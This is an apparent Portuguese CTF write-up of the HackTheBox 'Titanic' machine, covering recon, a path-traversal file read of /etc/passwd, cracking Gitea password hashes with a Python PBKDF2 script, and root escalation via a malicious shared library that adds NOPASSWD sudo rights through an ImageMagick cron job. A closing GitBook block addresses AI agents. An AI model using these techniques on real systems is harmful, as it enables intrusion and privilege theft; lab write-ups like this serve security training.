> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/titanic-hackthebox-writeup.md). # Relato do HackTheBox Titanic {% embed url="" %} {% hint style="warning" %} **Habilidades:** * **Inclusão de Arquivo Local (LFI)** * **Extração do banco de dados do Gitea** * **Exploração do ImageMagick (Escalada de privilégios)** {% endhint %} ## Reconhecimento **Configuração do ambiente de trabalho:** Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

**Verificação de conectividade da VPN** Verifique a conectividade da VPN para garantir comunicação estável com a máquina-alvo.

**Descoberta de portas abertas com Nmap:** Enumere as portas abertas e exporte os resultados para o arquivo "allPorts" no diretório do Nmap: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.55 -oG allPorts ```

**Análise de portas abertas com extractPorts:** Use a função extractPorts para exibir as portas abertas em um formato conciso e copiá-las para a área de transferência (22.80) ```bash nmap -sCV -p22,80 10.10.11.55 -oN targeted ```

Em seguida, adicionamos o IP ao nosso `/etc/hosts` arquivo:

### Escaneando a porta 80 (HTTP) ####

### Escaneando a porta 80 (HTTP) #### Detecção de tecnologia Com `wappalyzer`, identificamos que o site usa **Flask e Python**

## Inclusão de Arquivo Local (LFI)

O site oferece a opção de solicitar uma viagem, que retorna um arquivo JSON.

Ao interceptar a requisição com **Burp Suite**, notamos um `download` parâmetro que permite acesso aos arquivos:

```bash /download?ticket=9bff28d2-2f3a-4e5d-8879-576eb1dadf8b.json ``` Testamos uma inclusão de arquivo: ``` /download?ticket=/etc/passwd ```

Com `curl`: ``` curl -s --path-as-is http://titanic.htb/download?ticket=/etc/passwd ``` Recuperamos os usuários do sistema, incluindo **developer**.

### Fuzzing de subdomínios Procuramos subdomínios com **Gobuster**: ```bash gobuster vhost -u http://titanic.htb/ --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100 -r ```

Descobrimos **dev.titanic.htb**, que adicionamos a `/etc/hosts`.

## Exploração do Gitea Na **dev** subdomínio, encontramos uma **Gitea** instância.

#### Criando um usuário

Encontramos uma senha armazenada em texto puro (banco de dados):

Ao explorar o banco de dados SQLite do Gitea, encontramos seu caminho:

`/home/developer/gitea/data/gitea/gitea.db`

Conectamo-nos a ele: ```sql sqlite3 gitea.db .tables ```

Em seguida, extraímos os hashes das senhas: ```sql SELECT lower_name, passwd, salt FROM user; ```

### Força bruta de hash com sal #### Hash: ``` e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56|8bf3e3452b78544f8bee9400d6936d34 ``` #### Sal: ``` b8dc26d526439f6f2f4523fa8ea522a2 ``` Usamos um script em Python para quebrar o hash: ```python import hashlib import binascii def pbkdf2_hash(password, salt, iterations=50000, dklen=50): hash_value = hashlib.pbkdf2_hmac( 'sha256', password.encode('utf-8'), salt, iterations, dklen ) return hash_value def find_matching_password(dictionary_file, target_hash, salt, iterations=50000, dklen=50): target_hash_bytes = binascii.unhexlify(target_hash) with open(dictionary_file, 'r', encoding='utf-8') as file: count = 0 for line in file: password = line.strip() hash_value = pbkdf2_hash(password, salt, iterations, dklen) count += 1 print(f"Contagem: {count}: {password}") if hash_value == target_hash_bytes: print(f"/nSenha encontrada: {password}") return password print("Senha não encontrada.") return None salt = binascii.unhexlify('8bf3e3452b78544f8bee9400d6936d34') target_hash = 'e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56' dictionary_file = '/usr/share/wordlists/rockyou.txt' find_matching_password(dictionary_file, target_hash, salt) ``` #### - A senha encontrada é **25282528**.

Conectamo-nos via SSH: ```bash ssh developer@ticanic.htb ```

### Flag user.txt :)

## Escalada de privilégios ### Cron Job - Exploração do ImageMagick Em `/opt/`, encontramos um script `script.sh` executado automaticamente

```bash cd /opt/app/static/assets/images truncate -s 0 metadata.log find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log ``` > Este script shell primeiro vai para a `/opt/app/static/assets/images` pasta, depois despeja o `metadata.log` arquivo, se ele existir. Depois ele procura todos os `.jpg` arquivos nesse diretório e usa o comando `identify` do ImageMagick para extrair seus metadados (tamanho, formato, profundidade de cor etc.). Essas informações são então salvas em `metadata.log`. Assim, esse script permite gerar um arquivo de metadados atualizado para todas as imagens JPG presentes na pasta especificada. O script usa **ImageMagick**, uma versão vulnerável. ```bash magicks --version ```

### Exploração via `LD_PRELOAD` Criamos um `a.c` arquivo: ```c #include #include #include #include void _init() { unsetenv("LD_PRELOAD"); setgid(0); setuid(0); system("echo 'developer ALL=(ALL) NOPASSWD:ALL' | sudo tee -a /etc/sudoers"); } ``` Compilação: ```bash gcc -fPIC -shared -o ./libxcb.so.1 a.c -nostartfiles ```

Nós o adicionamos ao diretório monitorado e executável por `ImageMagick`. Em seguida, executamos: ```bash su root ```

### Flag root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/titanic-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.